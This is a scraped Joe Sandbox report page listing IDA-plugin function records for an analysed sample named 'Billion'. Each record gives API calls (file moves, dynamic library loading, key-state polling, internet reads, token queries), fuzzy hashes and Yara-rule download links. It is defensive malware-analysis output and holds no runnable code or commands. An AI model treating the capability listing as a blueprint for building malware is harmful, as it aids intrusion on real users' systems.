Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpper
String ID:
API String ID: 826366716-0
Opcode ID: 94068f70db9be19d012bac19580ff25d0a0d798c311f8f9f93b77a18745e42dc
Instruction ID: 2e150144d31612f3dc825d00f49f786977a22c1969513d5435505000082d6e41
Opcode Fuzzy Hash: 94068f70db9be19d012bac19580ff25d0a0d798c311f8f9f93b77a18745e42dc
Instruction Fuzzy Hash: 69619371208241AFD714DF24C890E6ABBF5FF84308F54859CF4998B292DB31ED46CB91

Function 0019ED12 Relevance: 7.7, APIs: 5, Instructions: 167filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0019E6F7: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,0019D7CD,?), ref: 0019E714

Part of subcall function 0019E6F7: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,0019D7CD,?), ref: 0019E72D

Part of subcall function 0019EAB0: GetFileAttributesW.KERNEL32(?,0019D840), ref: 0019EAB1

lstrcmpiW.KERNEL32(?,?), ref: 0019ED8A
MoveFileW.KERNEL32(?,?), ref: 0019EDC3
_wcslen.LIBCMT ref: 0019EF02
_wcslen.LIBCMT ref: 0019EF1A
SHFileOperationW.SHELL32(?,?,?,?,?,?), ref: 0019EF67

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: File$FullNamePath_wcslen$AttributesMoveOperationlstrcmpi
String ID:
API String ID: 3183298772-0
Opcode ID: 0894b20d3925a935ab12912d470279ac99a36282559a79bb7a5078d67107115a
Instruction ID: 4aef7f402894ea456d2c08b55b13a959a4375ad2b6472bd75480a642281b63af
Opcode Fuzzy Hash: 0894b20d3925a935ab12912d470279ac99a36282559a79bb7a5078d67107115a
Instruction Fuzzy Hash: 625160B24083859BCB24EBA4D8919DBB3ECEF94300F40092EF699D7151EF75E688C756

Function 00199517 Relevance: 7.7, APIs: 5, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00199534
VariantClear.OLEAUT32 ref: 001995A5
VariantClear.OLEAUT32 ref: 00199604
VariantClear.OLEAUT32(?), ref: 00199677
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 001996A2

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType
String ID:
API String ID: 4136290138-0
Opcode ID: 346fc2067a26ca09c7bb6186116d76ecee900adb2dad59ab7f554bfd4e04ada6
Instruction ID: e313734c95a72df767efa473e320845190a2d020d4fe64942d742268955582dd
Opcode Fuzzy Hash: 346fc2067a26ca09c7bb6186116d76ecee900adb2dad59ab7f554bfd4e04ada6
Instruction Fuzzy Hash: E6513AB5A00619EFCB14CF68D884EAABBF9FF89314B15855DE905DB310E730E911CB90

Function 001A9540 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 001A95F3
GetPrivateProfileSectionW.KERNEL32(?,00000003,00000003,?), ref: 001A961F
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 001A9677
WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 001A969C
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 001A96A4

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String
String ID:
API String ID: 2832842796-0
Opcode ID: b7397f55a955e939e820a875c021a444cb511756d7af8cdc2d80ae7da5f7731f
Instruction ID: b48dcdfb3712c93d64ea1abc31ef6275b6b2ffe400f00f02c12a48db99f6608f
Opcode Fuzzy Hash: b7397f55a955e939e820a875c021a444cb511756d7af8cdc2d80ae7da5f7731f
Instruction Fuzzy Hash: B4511975A00615AFDF05DF65C881AAABBF5FF59314F048058E849AB362CB35ED41CB90

Function 001B9941 Relevance: 7.6, APIs: 5, Instructions: 143libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,00000000,?), ref: 001B999D
GetProcAddress.KERNEL32(00000000,?), ref: 001B9A2D
GetProcAddress.KERNEL32(00000000,00000000), ref: 001B9A49
GetProcAddress.KERNEL32(00000000,?), ref: 001B9A8F
FreeLibrary.KERNEL32(00000000), ref: 001B9AAF

Part of subcall function 0014F9D4: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,00000000,?,?,?,001A1A02,?,7644E610), ref: 0014F9F1
Part of subcall function 0014F9D4: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00190354,00000000,00000000,?,?,001A1A02,?,7644E610,?,00190354), ref: 0014FA18

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad
String ID:
API String ID: 666041331-0
Opcode ID: 851346f758e5ff699f36cdfeb0c6dfd881aafa316d03d7c4c5de2812c8f375a5
Instruction ID: c994675a593ca188fdc1306eb9743f08f65f75345a1da1105a0ae18d9e704707
Opcode Fuzzy Hash: 851346f758e5ff699f36cdfeb0c6dfd881aafa316d03d7c4c5de2812c8f375a5
Instruction Fuzzy Hash: 44515935604205DFCB00DF68C485DE9BBF0FF19318B1980A8E90AAB762D731ED86CB81

Function 001C75AE Relevance: 7.6, APIs: 5, Instructions: 131windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(00000002,000000F0,?), ref: 001C766B
SetWindowLongW.USER32(?,000000EC,?), ref: 001C7682
SendMessageW.USER32(00000002,00001036,00000000,?), ref: 001C76AB
ShowWindow.USER32(00000002,00000000,00000002,00000002,?,?,?,?,?,?,?,001AB5BE,00000000,00000000), ref: 001C76D0
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000027,00000002,?,00000001,00000002,00000002,?,?,?), ref: 001C76FF

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Window$Long$MessageSendShow
String ID:
API String ID: 3688381893-0
Opcode ID: 24e8ee30682ba51518455de4ebf4ef2c71423c3e47925820abcab0cbe88244b1
Instruction ID: 75425a5c11abb287fe9e313223ba28f2ba6d027842b268ad37dfe25becff6ce6
Opcode Fuzzy Hash: 24e8ee30682ba51518455de4ebf4ef2c71423c3e47925820abcab0cbe88244b1
Instruction Fuzzy Hash: B541D635A08624AFE729CF2CDC48FA57B65EB15350F150268F815A73E0D7B0ED51DE50

Function 001319CD Relevance: 7.6, APIs: 5, Instructions: 121keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 001319E1
ScreenToClient.USER32(00000000,?), ref: 001319FE
GetAsyncKeyState.USER32(00000001), ref: 00131A23
GetAsyncKeyState.USER32(00000002), ref: 00131A3D

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: a633afcb207467278885afec55c6b42d44ac946dbc222fe24ff8b8b7cbc65092
Instruction ID: 9406e7d31aa9966ede4b69471c8d7be089696669026e3a0f6b46911b0475e0ff
Opcode Fuzzy Hash: a633afcb207467278885afec55c6b42d44ac946dbc222fe24ff8b8b7cbc65092
Instruction Fuzzy Hash: 0A417171A0425AFFDF199F64C844BEEBB74FF15325F21821AE439A3290C7306A94DB51

Function 0019224E Relevance: 7.6, APIs: 5, Instructions: 93sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00192262
PostMessageW.USER32(00000001,00000201,00000001), ref: 0019230E
Sleep.KERNEL32(00000000,?,?,?), ref: 00192316
PostMessageW.USER32(00000001,00000202,00000000), ref: 00192327
Sleep.KERNEL32(00000000,?,?,?,?), ref: 0019232F

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 755be65aacfd605ff60959d4cbf5891e6e0ff1e3f9d4906a244140f826a9de92
Instruction ID: 8ce53de2923e2d0852d4e29eca578ae922d1aaa98fbb64b7841cec2fd5e7e0d2
Opcode Fuzzy Hash: 755be65aacfd605ff60959d4cbf5891e6e0ff1e3f9d4906a244140f826a9de92
Instruction Fuzzy Hash: CA31BF71900219EFDF14CFA8DD89ADE3BB5EB04315F114229F925A72D0C770E944DB90

Function 001AD95F Relevance: 7.6, APIs: 5, Instructions: 93networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(?,?,00000000,00000000,00000000,?,00000000,?,?,?,001ACC63,00000000), ref: 001AD97D
InternetReadFile.WININET(?,00000000,?,?), ref: 001AD9B4
GetLastError.KERNEL32(?,00000000,?,?,?,001ACC63,00000000), ref: 001AD9F9
SetEvent.KERNEL32(?,?,00000000,?,?,?,001ACC63,00000000), ref: 001ADA0D
SetEvent.KERNEL32(?,?,00000000,?,?,?,001ACC63,00000000), ref: 001ADA37

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: EventInternet$AvailableDataErrorFileLastQueryRead
String ID:
API String ID: 3191363074-0
Opcode ID: 460b0a97d21d6d12a7f382fde7781c004f41d6c99560a631007a9e0f77284186
Instruction ID: 76b74110b8667ba1371ca5b9353371858ee4eb41c057ff504fd4c8e0cbe88dc2
Opcode Fuzzy Hash: 460b0a97d21d6d12a7f382fde7781c004f41d6c99560a631007a9e0f77284186
Instruction Fuzzy Hash: 69319A75500B05EFDB24DFA5E884EABBBF8EB15354B10442EE506D3950DB30EE409B60

Function 001C61A5 Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001053,000000FF,?), ref: 001C61E4
SendMessageW.USER32(?,00001074,?,00000001), ref: 001C623C
_wcslen.LIBCMT ref: 001C624E
_wcslen.LIBCMT ref: 001C6259
SendMessageW.USER32(?,00001002,00000000,?), ref: 001C62B5

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: MessageSend$_wcslen
String ID:
API String ID: 763830540-0
Opcode ID: 007aee0249fbc5840bd756f6a47b19afa3c79a314dfb6fd79f1714a233f03578
Instruction ID: efffbf9872f827ab7c3c6ac431d64d33f47a850728253ee1ec2071c6b1b15a38
Opcode Fuzzy Hash: 007aee0249fbc5840bd756f6a47b19afa3c79a314dfb6fd79f1714a233f03578
Instruction Fuzzy Hash: 49219E759002189ADB209FA0DC84FEEBBB9FB64724F10421EF929EA181D770D985CF50

Function 001B138D Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 001B13AE
GetForegroundWindow.USER32 ref: 001B13C5
GetDC.USER32(00000000), ref: 001B1401
GetPixel.GDI32(00000000,?,00000003), ref: 001B140D
ReleaseDC.USER32(00000000,00000003), ref: 001B1445

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: 2abf5f97085e9b2bb30abe688930a9e86eb79db7b35157fcd6dd861c982d67e2
Instruction ID: c0eae5dc889904584e20c3f49f7f4ba52c2f0571feb88e723989a6cbcbc4ca38
Opcode Fuzzy Hash: 2abf5f97085e9b2bb30abe688930a9e86eb79db7b35157fcd6dd861c982d67e2
Instruction Fuzzy Hash: 71216A76600214AFD704EF69D899EAEBBE5EF59310B058439F85A97761DB30EC40CB90

Function 0016D13D Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0016D146
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0016D169

Part of subcall function 00163B93: RtlAllocateHeap.NTDLL(00000000,?,?,?,00156A79,?,0000015D,?,?,?,?,001585B0,000000FF,00000000,?,?), ref: 00163BC5

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0016D18F
_free.LIBCMT ref: 0016D1A2
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0016D1B1

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: c972e256b31fcfc841c0fc8d37cc5e0e611c6635980c28668e416db4433763c3
Instruction ID: 216fc2677696eb9f2307f810c8277449ad3735e8784c00184544c35acb426688
Opcode Fuzzy Hash: c972e256b31fcfc841c0fc8d37cc5e0e611c6635980c28668e416db4433763c3
Instruction Fuzzy Hash: DD018476F016157F332166B67C8CD7B6EADEEC3BA13190129FD04C6244DBA08D1181B1

Function 00196078 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 0019608D
_memcmp.LIBVCRUNTIME ref: 001960AB
_memcmp.LIBVCRUNTIME ref: 001960BE
_memcmp.LIBVCRUNTIME ref: 001960D6
_memcmp.LIBVCRUNTIME ref: 001960EE

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: ae3c9800efbf1d62f4f00b3a264390705814f78cee76f69811790e168ae2a5c3
Instruction ID: d59e4f4023aec057a86b28ca41a6ab429658f05f0faf6b16a55dfdbcacf9a79c
Opcode Fuzzy Hash: ae3c9800efbf1d62f4f00b3a264390705814f78cee76f69811790e168ae2a5c3
Instruction Fuzzy Hash: 6401B1B6604305BBDA1656249CC2FAB735D9E68399F094022FD0A9E341E761ED14C6B1

Function 0016316B Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(0000000A,?,?,0015F64E,0015545F,0000000A,?,00000000,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 00163170
_free.LIBCMT ref: 001631A5
_free.LIBCMT ref: 001631CC
SetLastError.KERNEL32(00000000,?,00000000,?,?,?,0000000A,00000000), ref: 001631D9
SetLastError.KERNEL32(00000000,?,00000000,?,?,?,0000000A,00000000), ref: 001631E2

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 1dbaee793cdf0c6f4e5b1b1420ca1e61a59ab0dbf848dbf339d56527c19a6f2b
Instruction ID: 787acb7ec81814452dbe12afa5868bbd4b4b64b7def5596731ef576728f48f2a
Opcode Fuzzy Hash: 1dbaee793cdf0c6f4e5b1b1420ca1e61a59ab0dbf848dbf339d56527c19a6f2b
Instruction Fuzzy Hash: 3601C8B2644A006BD6126774AC89E3B2A6DAFE37B17220434FC35D21D1EF75CA325161

Function 001908FE Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,00190831,80070057,?,?,?,00190C4E), ref: 0019091B
ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00190831,80070057,?,?), ref: 00190936
lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00190831,80070057,?,?), ref: 00190944
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00190831,80070057,?), ref: 00190954
CLSIDFromString.OLE32(?,?,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00190831,80070057,?,?), ref: 00190960

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: 27b7e7dc979dd542c0a063bb5a424e4a861d67f74deb6416ba2d749e9ba6a687
Instruction ID: b278e9e41760edbe7baa4698975486fbfadb6a9a657c81850fa191c1f5434192
Opcode Fuzzy Hash: 27b7e7dc979dd542c0a063bb5a424e4a861d67f74deb6416ba2d749e9ba6a687
Instruction Fuzzy Hash: 6C018F72600204AFEB124F55EC44F9A7EADEB48759F140128FD09E2212D771DD80DBA0

Function 0019F292 Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?), ref: 0019F2AE
QueryPerformanceFrequency.KERNEL32(?), ref: 0019F2BC
Sleep.KERNEL32(00000000), ref: 0019F2C4
QueryPerformanceCounter.KERNEL32(?), ref: 0019F2CE
Sleep.KERNEL32 ref: 0019F30A

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 6240f5b086e57142275739ba7c3e5808d94010e739cfd8e5116013fa6cd52780
Instruction ID: 97b4c46d7314d7b00f715b437a1cd9792f951a769cd30482576874266c736519
Opcode Fuzzy Hash: 6240f5b086e57142275739ba7c3e5808d94010e739cfd8e5116013fa6cd52780
Instruction Fuzzy Hash: A4012971D01619EBCF00AFE4E849AEEBB78FB08711F06046AE502F2690DB349695C7A1

Function 00191A45 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00191A60
GetLastError.KERNEL32(?,00000000,00000000,?,?,001914E7,?,?,?), ref: 00191A6C
GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,001914E7,?,?,?), ref: 00191A7B
HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,001914E7,?,?,?), ref: 00191A82
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00191A99

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: ebb68a3378c6c80a35019c3e57c4a54a6e6e66a09e622b9fda4b6fa7521752de
Instruction ID: ef0a0f6b10c71c84dbd66c21cfd50c9477510fb7268520075300dcec7385d001
Opcode Fuzzy Hash: ebb68a3378c6c80a35019c3e57c4a54a6e6e66a09e622b9fda4b6fa7521752de
Instruction Fuzzy Hash: D70181B5601606BFDF114F65EC48E6A3F6EEF84364B210464F845C3360DB31DC80CA60

Function 00191900 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00191916
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00191922
